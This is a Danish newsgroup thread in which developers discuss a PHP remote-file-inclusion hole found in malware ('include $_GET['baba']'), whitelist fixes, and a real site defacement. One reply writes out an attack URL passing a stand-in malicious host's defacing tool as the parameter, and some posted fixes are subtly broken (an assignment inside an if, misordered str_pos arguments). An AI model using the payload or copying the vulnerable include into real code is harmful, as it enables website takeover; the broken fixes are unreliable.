---

Hej Alle.

Jeg er ikke så meget inde i PHP, men kigger af og til på noget malware.
I en af dem starter PHP'en med:
<? include $_GET['baba']; ?>

Er det korrekte forstået at hvis man eks. sender et link i 'baba' så vil den
remote kode blive includet?

Samme spørgsmål hvis der er en fil, der er placeret på serveren.

--
Med venlig hilsen/Best regards
Stig Johansen

---

Stig Johansen skrev:
> Hej Alle.
>
> Jeg er ikke så meget inde i PHP, men kigger af og til på noget malware.

Malware er et besynderligt ord i denne forbindelse? Måske er det kun mig
der synes det...

> I en af dem starter PHP'en med:
> <? include $_GET['baba']; ?>
>
> Er det korrekte forstået at hvis man eks. sender et link i 'baba' så vil den
> remote kode blive includet?

Ja.

Typisk vil du kunne gøre noget ala
http://example.com/page.php?baba=http://www.malicius-site.com/php_defacing_tool.txt

Ligeledes med en fil der ligger på serveren.

Det er en utroligt grim måde at inkludere sine filer på og du vil
sandsynligvis opleve flere ulemper ved det end fordele. Kan du ikke
skabe dynamik i dine sider uden at inkludere via en GET variabel, har du
taget en større mundfuld end du kan tygge.

Endeligt, til dem som allerede har lavet en lignende løsning, kan man
lave et midlertidigt fix (med tryk på midlertidigt, for det skal løses
på en anden måde):

$accepted_files = array(
   "inkluderet_fil.php",
   "detaljer.php",
   "kontakt.php",
   "smadderkasse.php"
   );

if(in_array($_GET["baba"], $accepted_files))
   include($_GET["baba"]);


--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm wrote:

> Stig Johansen skrev:
>> Hej Alle.
>>
>> Jeg er ikke så meget inde i PHP, men kigger af og til på noget malware.
>
> Malware er et besynderligt ord i denne forbindelse? Måske er det kun mig
> der synes det...

Der er tale om noget kode, der forsøges kørt af bot'er, til mail udsendelse
m.m.
Jeg ved ikke hvad jeg ellers skal kalde det, godartet er det i hvertfald
_ikke_.

>> I en af dem starter PHP'en med:
>> <? include $_GET['baba']; ?>
>>
>> Er det korrekte forstået at hvis man eks. sender et link i 'baba' så vil
>> den remote kode blive includet?
>
> Ja.

Tak, det anede mig nok.
Det betyder så at hvis først koden er lagt på serveren, så er det frit valg
på hylde 1.

--
Med venlig hilsen
Stig Johansen

---

Stig Johansen wrote:
> Dan Storm wrote:
>
>> Stig Johansen skrev:
>>> Hej Alle.
>>>
>>> Jeg er ikke så meget inde i PHP, men kigger af og til på noget malware.
>> Malware er et besynderligt ord i denne forbindelse? Måske er det kun mig
>> der synes det...
>
> Der er tale om noget kode, der forsøges kørt af bot'er, til mail udsendelse
> m.m.
> Jeg ved ikke hvad jeg ellers skal kalde det, godartet er det i hvertfald
> _ikke_.
>
>>> I en af dem starter PHP'en med:
>>> <? include $_GET['baba']; ?>
>>>
>>> Er det korrekte forstået at hvis man eks. sender et link i 'baba' så vil
>>> den remote kode blive includet?
>> Ja.
>
> Tak, det anede mig nok.
> Det betyder så at hvis først koden er lagt på serveren, så er det frit valg
> på hylde 1.
>

Åh jo - det må man sige, og stortset alle botter prøver at manipulere
url strengen, jeg har ihvertfald et par 100 om dagen i mine logs :)

En rimelig hurtig løsning kunne være

<?php
if(isset($_GET['baba']) && str_pos('http://', $_GET['baba']) !== false)
{ // BEMÆRK !== (2 = tegn!)
exit; // Stopper script
}

<? include $_GET['baba']; ?>

// osv osv
?>

---

Martin wrote:

> Åh jo - det må man sige, og stortset alle botter prøver at manipulere
> url strengen, jeg har ihvertfald et par 100 om dagen i mine logs :)

Disse her bot'er prøver sig bare frem med en 'http://enelleranden.txt' i
URI'en.
Det var indholdet i remote code, der indeholdt det include statement.

> En rimelig hurtig løsning kunne være

Tak, men de her prøver sig frem på en ASP side, så der sker ikke så voldsomt
meget ved det. Jeg var bare nysgerrig.

--
Med venlig hilsen
Stig Johansen

---

Stig Johansen wrote:
> Martin wrote:
>
>> Åh jo - det må man sige, og stortset alle botter prøver at manipulere
>> url strengen, jeg har ihvertfald et par 100 om dagen i mine logs :)
>
> Disse her bot'er prøver sig bare frem med en 'http://enelleranden.txt' i
> URI'en.
> Det var indholdet i remote code, der indeholdt det include statement.

Ahh så misforstod jeg noget ;)

>
>> En rimelig hurtig løsning kunne være
>
> Tak, men de her prøver sig frem på en ASP side, så der sker ikke så voldsomt
> meget ved det. Jeg var bare nysgerrig.

Næææ, det rigtigt nok, men pas på at de ikke også prøver at bruge noget
asp kode som gør lidt det samme

---

Dan Storm skrev:

> Endeligt, til dem som allerede har lavet en lignende løsning, kan man
> lave et midlertidigt fix (med tryk på midlertidigt, for det skal løses
> på en anden måde):

> $accepted_files = array(
>    "inkluderet_fil.php",
>    "detaljer.php",
>    "kontakt.php",
>    "smadderkasse.php"
>    );

Hvorfor skal det løses på en anden måde? Jeg bruger samme princip
på Fidusos og mine egne sider.

--
Bertel
http://bertel.lundhansen.dk/      FIDUSO: http://fiduso.dk/

---

Bertel Lund Hansen skrev:
> Dan Storm skrev:
>
>> Endeligt, til dem som allerede har lavet en lignende løsning, kan man
>> lave et midlertidigt fix (med tryk på midlertidigt, for det skal løses
>> på en anden måde):
>
>> $accepted_files = array(
>>    "inkluderet_fil.php",
>>    "detaljer.php",
>>    "kontakt.php",
>>    "smadderkasse.php"
>>    );
>
> Hvorfor skal det løses på en anden måde? Jeg bruger samme princip
> på Fidusos og mine egne sider.

Ved du overhovedet hvad det er du svarer på?

Ellers lad mig hjælpe dig:

Opretter spørger om der er et potentielt sikkerhedsproblem i koden
<? include $_GET["baba"]; ?>

Ja, det er der; du kan i realiteten injecte hvad som helst og deface
websitet. (safe_mode kan løse problemet med eksterne includes, men ikke
interne).

Derefter spørger du mig, hvorfor det problem skal løses?

Dine sider har get variablen 'page'.
Et eksempel:
http://www.fiduso.dk/?page=metaformiks&m=1

Jeg kan kun gætte på hvordan din 'page' variabel bliver brugt. Den kan
bruges som en include, til opslag i DB eller blive kørt gennem en
switch() eller anden form for condition.
Du validerer også inputtet, bemærker jeg, for prøver jeg at taste noget
volapyk i din 'page' variabel, får jeg blot forsiden; altså no worries!

Synes du det er en god sammenligning af opretters spørgsmål og din
løsning (som du ikke engang viser kode på)?



--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm skrev:

> Ved du overhovedet hvad det er du svarer på?

Ja.

> Opretter spørger om der er et potentielt sikkerhedsproblem i koden
> <? include $_GET["baba"]; ?>

Ja, og du anviste ham en løsning som du kaldte midlertidig. Jeg
spørger hvorfor den løsning er midlertidig. Det ville du have
vidst hvis du havde læst hvad du svarer på. Jeg bruger den nemlig
som permanent løsning.

> Jeg kan kun gætte på hvordan din 'page' variabel bliver brugt. Den kan
> bruges som en include

Den bruges til at inkludere indholdet i den faste 'ramme'.

> Du validerer også inputtet, bemærker jeg, for prøver jeg at taste noget
> volapyk i din 'page' variabel, får jeg blot forsiden; altså no worries!

> Synes du det er en god sammenligning af opretters spørgsmål og din
> løsning

Næ. Jeg har heller ikke foretaget den sammenligning.

> (som du ikke engang viser kode på)?

Koden er lidt kompleks, men den er ikke spor hemmelig. Hvis du
ikke skal bruge det til noget konkret, er det nok nemmere at
forklare princippet:

Jeg opretter et array med lovlige filnavne. Først sætter jeg en
variabel til at pege på forsiden. Derefter tester jeg om den
overførte variabel peger på et lovligt filnavn. Kun hvis det er
tilfældet, tillader jeg at den nye værdi overskriver den gamle.

Derefter opsætter jeg en standard HTML-side med menu hvor der 'i
midten' inkluderes en fil med det egentlige indhold.

Hvis nogen vil have flere detaljer, kan de spørge om det.

--
Bertel
http://bertel.lundhansen.dk/      FIDUSO: http://fiduso.dk/

---

Bertel Lund Hansen skrev:
> Ja, og du anviste ham en løsning som du kaldte midlertidig. Jeg
> spørger hvorfor den løsning er midlertidig. Det ville du have
> vidst hvis du havde læst hvad du svarer på. Jeg bruger den nemlig
> som permanent løsning.

Jeg synes det er en grim løsning som giver anledning til større risici
end højst nødvendigt. At give brugeren mulighed for at ændre inputtet af
det der skal inkluderes er altid en potentiel sikkerhedsrisiko.

At du bruger den som permanent løsning er ikke et argument for at det en
en god løsning; jeg kan blot konstatere at du har et potentielt
sikkerhedsbrist i din kode (og nej, jeg gider ikke bruge tid på at finde
et).

Du har nogle holdninger til hvordan tingene skal laves, jeg har nogle
holdninger til hvordan tingene skal laves, de øvrige personer i gruppen
har en holdning til hvordan tingene skal laves; og ingen vil
*nogensinde* blive enige.

Så er du glad for din 'permanente løsning', så dig om det; jeg er bare
glad for du ikke skal lave noget for mig.

> Den bruges til at inkludere indholdet i den faste 'ramme'.

Det interesserer mig ikke - jeg pointerer blot sikkerhedsbristet i det!

> Næ. Jeg har heller ikke foretaget den sammenligning.

Et eller andet må du da sammenligne siden du finder mit postulat
forvirrende?

> Koden er lidt kompleks, men den er ikke spor hemmelig. Hvis du
> ikke skal bruge det til noget konkret, er det nok nemmere at
> forklare princippet:

Igen, det interesserer ikke _mig_...






--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm wrote:

> Jeg synes det er en grim løsning som giver anledning til større risici
> end højst nødvendigt. At give brugeren mulighed for at ændre inputtet
> af det der skal inkluderes er altid en potentiel sikkerhedsrisiko.
>
> At du bruger den som permanent løsning er ikke et argument for at det
> en en god løsning; jeg kan blot konstatere at du har et potentielt
> sikkerhedsbrist i din kode (og nej, jeg gider ikke bruge tid på at
> finde et).


Hvordan kan der være sikkerhedsrisiko, ved at sikre at et input kun kan have
een af flere tilladte værdier?

Glem det konkrete.

$in = $_GET[ 'a']; // eller $_POST

switch ( $in) {
case 'x' : $out = 'OK'; break;
case 'y' : $out = 'OK'; break;
case 'z' : $out = 'OK'; break;
default : $out = 'Fejl';
}
if ( $out = 'OK') {
// fortsæt med lovlig værdi $in
}
else {
// afbryd - $in er ikke lovlig
}

Hvor er sikkerhedsbristet?


Briger
--
http://bbsorensen.dk
http://varmeretter.dk - hverdagsmad. Sundt, nemt, hurtigt og billigt.
Daglig opdatering.

---

Birger skrev:
> Hvordan kan der være sikkerhedsrisiko, ved at sikre at et input kun kan have
> een af flere tilladte værdier?
>
> Glem det konkrete.
>
> $in = $_GET[ 'a']; // eller $_POST
>
> switch ( $in) {
> case 'x' : $out = 'OK'; break;
> case 'y' : $out = 'OK'; break;
> case 'z' : $out = 'OK'; break;
> default : $out = 'Fejl';
> }
> if ( $out = 'OK') {
> // fortsæt med lovlig værdi $in
> }
> else {
> // afbryd - $in er ikke lovlig
> }
>
> Hvor er sikkerhedsbristet?

Under normale omstændigheder ville du naturligvis prøve koden af og vil
opdage ovenstående kode vil tage imod al input - men det oplever jeg
ofte folk ikke gør, fordi de føler sig sikre på deres kode. ( her tænker
jeg på din if() sætning)

Sådanne fejl skaber naturligvis sikkerhedsrisiko og pludselighar du et
hul der tillader at du inkluderer hvad som helst.

Kode kan være skrevet for hurtigt og du har netop vist et pragteksempel
på at fejl sker og en unødvendig risiko pludselig er opstået på baggrund
af det du vil inkludere.

Var din kode skrevet rigtigt kan jeg ikke se nogen forskel i mit
eksempel på valideringen eller dit. Men det er, som tidligere nævnt, min
_personlige holdning_ at det skaber nogle risiko at fortælle folk
hvordan du inkluderer dine sider. Og mit bedste argument er dårligt
skrevet kode.


--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm wrote:
> Birger skrev:
>> Hvordan kan der være sikkerhedsrisiko, ved at sikre at et input kun
>> kan have een af flere tilladte værdier?
>>
>> Glem det konkrete.
>>
>> $in = $_GET[ 'a']; // eller $_POST
>>
>> switch ( $in) {
>> case 'x' : $out = 'OK'; break;
>> case 'y' : $out = 'OK'; break;
>> case 'z' : $out = 'OK'; break;
>> default : $out = 'Fejl';
>> }
>> if ( $out = 'OK') {
>> // fortsæt med lovlig værdi $in
>> }
>> else {
>> // afbryd - $in er ikke lovlig
>> }
>>
>> Hvor er sikkerhedsbristet?
>
> Under normale omstændigheder ville du naturligvis prøve koden af og
> vil opdage ovenstående kode vil tage imod al input - men det oplever
> jeg ofte folk ikke gør, fordi de føler sig sikre på deres kode. ( her
> tænker jeg på din if() sætning)
>
> Sådanne fejl skaber naturligvis sikkerhedsrisiko og pludselighar du et
> hul der tillader at du inkluderer hvad som helst.
>
> Kode kan være skrevet for hurtigt og du har netop vist et
> pragteksempel på at fejl sker og en unødvendig risiko pludselig er
> opstået på baggrund af det du vil inkludere.
>
> Var din kode skrevet rigtigt kan jeg ikke se nogen forskel i mit
> eksempel på valideringen eller dit. Men det er, som tidligere nævnt,
> min _personlige holdning_ at det skaber nogle risiko at fortælle folk
> hvordan du inkluderer dine sider. Og mit bedste argument er dårligt
> skrevet kode.

Du kalder dit eget eksempel
"et midlertidigt fix (med tryk på midlertidigt, for det skal løses på en
anden måde):"

Eller hvis mit eksempel havde været uden slåfejl. ($out == 'OK')

Hvorfor er det ikke godt nok?

--
http://bbsorensen.dk
http://varmeretter.dk - hverdagsmad. Sundt, nemt, hurtigt og billigt.
Daglig opdatering.

---

Birger skrev:
> Du kalder dit eget eksempel
> "et midlertidigt fix (med tryk på midlertidigt, for det skal løses på en
> anden måde):"
>
> Eller hvis mit eksempel havde været uden slåfejl. ($out == 'OK')
>
> Hvorfor er det ikke godt nok?

Jeg gentager mig selv for tredie gang, så...

Det er min *personlige holdning*.

Jeg, eller andre på mit hold, vil aldrig bruge den form for inkludering.
Vi har overtaget kode som alt for ofte har indeholdt fejl i den dur,
endda længere inde i koden, så selv efter inkluderingen, har det været
muligt at ødelægge noget pga sikkerhedshuller. Fejl som vi alle laver -
nogle lærer af bitter erfaring - også mig selv!

Du er ikke enig med mig, mit argument er ikke godt nok, case closed...


--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm wrote:
> Birger skrev:
>> Du kalder dit eget eksempel
>> "et midlertidigt fix (med tryk på midlertidigt, for det skal løses
>> på en anden måde):"
>>
>> Eller hvis mit eksempel havde været uden slåfejl. ($out == 'OK')
>>
>> Hvorfor er det ikke godt nok?
>
> Jeg gentager mig selv for tredie gang, så...
>
> Det er min *personlige holdning*.
>
> Jeg, eller andre på mit hold, vil aldrig bruge den form for
> inkludering. Vi har overtaget kode som alt for ofte har indeholdt
> fejl i den dur, endda længere inde i koden, så selv efter
> inkluderingen, har det været muligt at ødelægge noget pga
> sikkerhedshuller. Fejl som vi alle laver - nogle lærer af bitter
> erfaring - også mig selv!
> Du er ikke enig med mig, mit argument er ikke godt nok, case closed...

Jo vi har opfattet, at det er din holdning at det ikke er godt nok...

Det vi måske så ikke har (op)fattet, er at du betragter vores spørsmål som
angeb på denne din personlige holdning og ikke vil eller kan give en
forklaring på hvorfor det ikke er godt nok.

Du mener, vi skal allesammen lære af vores egne bitre erfaringer - du skal i
hvert fald ikke dele din med nogen?

Måske er jeg tungnem, men jeg har stadig ikke fattet, hvad der er galt med
dit eget "midlertidige" fix - eller har nogen idé om, hvordan det kan gøres
bedre.
Jeg er kommet i tvivl om, hvorvidt min egen kode kan have problemer - men
ingen idé om hvordan det skulle gå til, eller ting at se efter/være
opmærksom på.
Tak for hjælpen...

Birger
--
http://bbsorensen.dk
http://varmeretter.dk - hverdagsmad. Sundt, nemt, hurtigt og billigt.
Daglig opdatering.

---

Birger skrev:
> Det vi måske så ikke har (op)fattet, er at du betragter vores spørsmål som
> angeb på denne din personlige holdning og ikke vil eller kan give en
> forklaring på hvorfor det ikke er godt nok.

Jeg opfatter absolut ikke dine indlæg som angreb, tværtimod - der er
intet i vejen med at stille spørgsmålstegn ved noget.

> Du mener, vi skal allesammen lære af vores egne bitre erfaringer - du skal i
> hvert fald ikke dele din med nogen?

Du kan selvfølgelig have fat i noget, der...

> Måske er jeg tungnem, men jeg har stadig ikke fattet, hvad der er galt med
> dit eget "midlertidige" fix - eller har nogen idé om, hvordan det kan gøres
> bedre.
> Jeg er kommet i tvivl om, hvorvidt min egen kode kan have problemer - men
> ingen idé om hvordan det skulle gå til, eller ting at se efter/være
> opmærksom på.

Så vil jeg give dig et konkret eksempel fra min arbejdsplads.

Da vi i tidernes morgen overtog example.com, var det i god tro.
(example.com fordi kunden ikke har ønsket at betale for at få det
fikset, men firmaets hjemmeside er indtil videre lukket ned,
tavshedspligt og så videre).

I god tro skal opfattes sådan at ham der havde lavet websitet, var en
tidligere ansat i huset, men som nu er selvstændig.

Her er hans valideringsdel:

$inc = $_GET["side"];
include(validate($inc));

function validateInc($side)
{

   $ary = array(
         "priser",
         "kontor",
         "forside",
         "kontakt",
         "medarbejdere",
         "login"
      );
   
   if(in_array($side, $ary))
      return "inc/".$side.".inc";
   else
      return "inc/fejl.inc";

}

So far, so good...

Sider inkluderes uden problemer, invalid input returnerer en fejlside.

Siden medarbejdere.inc havde så den funktion at han på den side kunne
indhente medarbejdere på samme måde via includes. Problemet var bare at
netop det include *ikke* blev valideret korrekt og bam, så havde vi en
server der havde fået defacet halvdelen af alle webhotellerne.

Funktionen validateInc var godt nok implenteret på siden til netop det
brug, det blev bare aldrig brugt.

Så selvom du laver din validering godt nok, kan du sagtens lave en fejl
senere i applikationen.

Derfor mener jeg at du skaber usikkerhed ved at vise du henter dine
includes med GET variabler. Det kan sagtens skabes på anden vis, uden
man mister dynamikken.


> Tak for hjælpen...

Jeg ved ikke om det hjalp dig, men du fik en forklaring på en af de
bitre oplevelser jeg havde.


--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm wrote:
8X
>
>> Tak for hjælpen...
>
> Jeg ved ikke om det hjalp dig, men du fik en forklaring på en af de
> bitre oplevelser jeg havde.

Jo, det gjorde det - og tak for det.

Personligt bruger jeg altid POST hvor jeg kan komme til det - ved godt det
ikke er umuligt at poste udefra, men det er i det mindste mere besværligt
end blot at skrive noget på adresselinien i sin browser.

Data der overføres skal altid valideres - og der skal udføres test, også på
forkerte/ulovlige værdier.
(Og jeg er i øvrigt enig med dig i, og disciplinen test, nok er den mest
oversete og alt for vigtig, til at blive forbigået, som den gør af mange
"hjemmesidesnedkere"..)

Jeg er rolig igen ;>)


Birger
--
http://bbsorensen.dk
http://varmeretter.dk - hverdagsmad. Sundt, nemt, hurtigt og billigt.
Daglig opdatering.

---

Dan Storm wrote:

> Problemet var bare at
> netop det include *ikke* blev valideret korrekt og bam, så havde vi en
> server der havde fået defacet halvdelen af alle webhotellerne.

Det var måske heldigt det kun var en defacing, hvis du søger på
namogofer.php og evilc0ders, er det eksempler på langt værre ting.

Men en ting der gør mig nysgerrig er 'halvdelen af alle webhotellerne'.
Skal det opfattes sådan at man kunne bevæge sig ud over webscope ?

Hvis man kan deface på tværs af domainer/virtuelle hosts må der være et
problem med serversetup'et eller ?

--
Med venlig hilsen
Stig Johansen

---

Stig Johansen skrev:
> Det var måske heldigt det kun var en defacing, hvis du søger på
> namogofer.php og evilc0ders, er det eksempler på langt værre ting.

Helt enig!
Defacingen var en relativ let ting, og det var nemt at genskabede
originale filer.

> Men en ting der gør mig nysgerrig er 'halvdelen af alle webhotellerne'.
> Skal det opfattes sådan at man kunne bevæge sig ud over webscope ?

Ja, safe_mode opsætningen gjorde det muligt at tilgå filer som ejet af
andre brugere, så længe rettighederne var tilstrækkeligt åbne.

> Hvis man kan deface på tværs af domainer/virtuelle hosts må der være et
> problem med serversetup'et eller ?

Et godt setup ville naturligvis ikke gøre det muligt at tilgå andre
filer, end den bruger som defacing værktøjet optræder som. Typisk er det
den ftp bruger som har uploadet filen (og igen, skal rettighederne være
tilstrækkelige).

Indimellem oplever man også et filupload der ikke validerer, hvor du
nemt kan lægge et tool op, men som så har www-brugerens rettigheder. Men
med safe_mode slået fra, tja - frit spil, nærmest.

Vi skiftede så også udbyder; vi blev noget overrasket over et så
veletableret og udbredt brugt firma ikke leverer et setup der sikrer
deres kunder i bedst muligt omfang. Vi havde en reseller løsning med
'standard setup'. *sigh*

--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

"Dan Storm" <shadyz@_REMOVETHIS_err0r.dk> wrote in message
news:489577a3$0$15875$edfadb0f@dtext01.news.tele.dk...

> Vi skiftede så også udbyder; vi blev noget overrasket over et så
> veletableret og udbredt brugt firma ikke leverer et setup der sikrer
> deres kunder i bedst muligt omfang. Vi havde en reseller løsning med
> 'standard setup'. *sigh*

Ok, jeg fik indtrykket af, at det var 'dig'/'jer' der stod for hosting'en.
Helt specifikt, så arbejder jeg lidt på noget jeg kalder 'storm' monitor
(sammenfald med dit navn er tilfældigt).

I den forbindelse bruger jeg noget PHP kode:
http://w-o-p-r.dk/storm.monitor/storm.monitor.php.txt

som egentlig gerne skulle kunne finde alle filer fra
'DOCUMENT_ROOT' og nedefter.
Så interessen er lidt spørgsmålet om:
'Er det nok, eller skal man op på et højere lag?'.

--
Med venlig hilsen/Best regards
Stig Johansen

---

Stig Johansen skrev:
> Ok, jeg fik indtrykket af, at det var 'dig'/'jer' der stod for hosting'en.

Ah, dog ikke, men uanset, så om vi selv stod for hostingen, så handler
det selvfølgelig stadig om setup'et. :)

> Helt specifikt, så arbejder jeg lidt på noget jeg kalder 'storm' monitor
> (sammenfald med dit navn er tilfældigt).

Naturligvis ;)

>
> I den forbindelse bruger jeg noget PHP kode:
> http://w-o-p-r.dk/storm.monitor/storm.monitor.php.txt
>
> som egentlig gerne skulle kunne finde alle filer fra
> 'DOCUMENT_ROOT' og nedefter.
> Så interessen er lidt spørgsmålet om:
> 'Er det nok, eller skal man op på et højere lag?'.

Jeg forstår ikke helt dit spørgsmål, når du bruger ordet lag i denne
sammenhæng? Men jeg kan være for træt... :/

>
> --
> Med venlig hilsen/Best regards
> Stig Johansen
>
>
>


--
Dan Storm - storm at err0r dot dk / http://err0r.dk

Tro ikke brugerne vil gøre noget for at undgå dit killfilter
- Så vigtig er du heller ikke!

---

Dan Storm skrev:

> Så vil jeg give dig et konkret eksempel fra min arbejdsplads.

Dit eksempel viser at man ikke skal lave fejl i sin kode. Det
viser ikke at den omtalte metode er dårlig. Problemet var jo at
den slet ikke var implementeret (overalt).

--
Bertel
http://bertel.lundhansen.dk/      FIDUSO: http://fiduso.dk/

---

Dan Storm skrev:

> Jeg synes det er en grim løsning som giver anledning til større risici
> end højst nødvendigt.

Grim er din personlige mening. Da du åbenbart er klar over at der
findes forskellige holdninger, undrer det mig at du så utvetydigt
siger at løsningen skal udskiftes.

> At give brugeren mulighed for at ændre inputtet af
> det der skal inkluderes er altid en potentiel sikkerhedsrisiko.

Hvordan vil du forhindre at brugeren ændrer i adresseboksen?

Svar: Det kan man ikke.

> At du bruger den som permanent løsning er ikke et argument for at det en
> en god løsning;

Du hidser dig vældigt op. Jeg spurgte om årsagen til at du ikke
vil bruge den løsning permanent, og straks tror du at jeg vil
påtvinge gud og hvermand den metode. Det er slet ikke faldet dig
ind at jeg er nysgerrig og modtagelig for gode argumenter?

> jeg kan blot konstatere at du har et potentielt
> sikkerhedsbrist i din kode

Nej, det har jeg ikke.

> (og nej, jeg gider ikke bruge tid på at finde et).

Universets levetid rækker heller ikke til at finde det.

> Du har nogle holdninger til hvordan tingene skal laves, jeg har nogle
> holdninger til hvordan tingene skal laves, de øvrige personer i gruppen
> har en holdning til hvordan tingene skal laves; og ingen vil
> *nogensinde* blive enige.

Det er altså blot din holdning og ikke noget du kan argumentere
for?

> Så er du glad for din 'permanente løsning', så dig om det; jeg er bare
> glad for du ikke skal lave noget for mig.

Det er jeg også.

> Det interesserer mig ikke -

Hvorfor fanden brokker du dig så over at jeg ikke citerede koden
før? Hvis jeg havde haft bedre tid, kunne det ske at jeg havde
brugt en halv time på at rette den pædagogisk til. Godt jeg ikke
gik i gang med det projekt.

> jeg pointerer blot sikkerhedsbristet i det!

Du opdigtede en sikkerhedsbrist.

> Et eller andet må du da sammenligne siden du finder mit postulat
> forvirrende?

Jeg stillede et spørgsmål. Det har du ikke besvaret uden med
hånlige bemærkninger.

> Igen, det interesserer ikke _mig_...

Du spurgte i dit tidligere indlæg. Det er måske din mor der
skriver dine indlæg for dig?

--
Bertel
http://bertel.lundhansen.dk/      FIDUSO: http://fiduso.dk/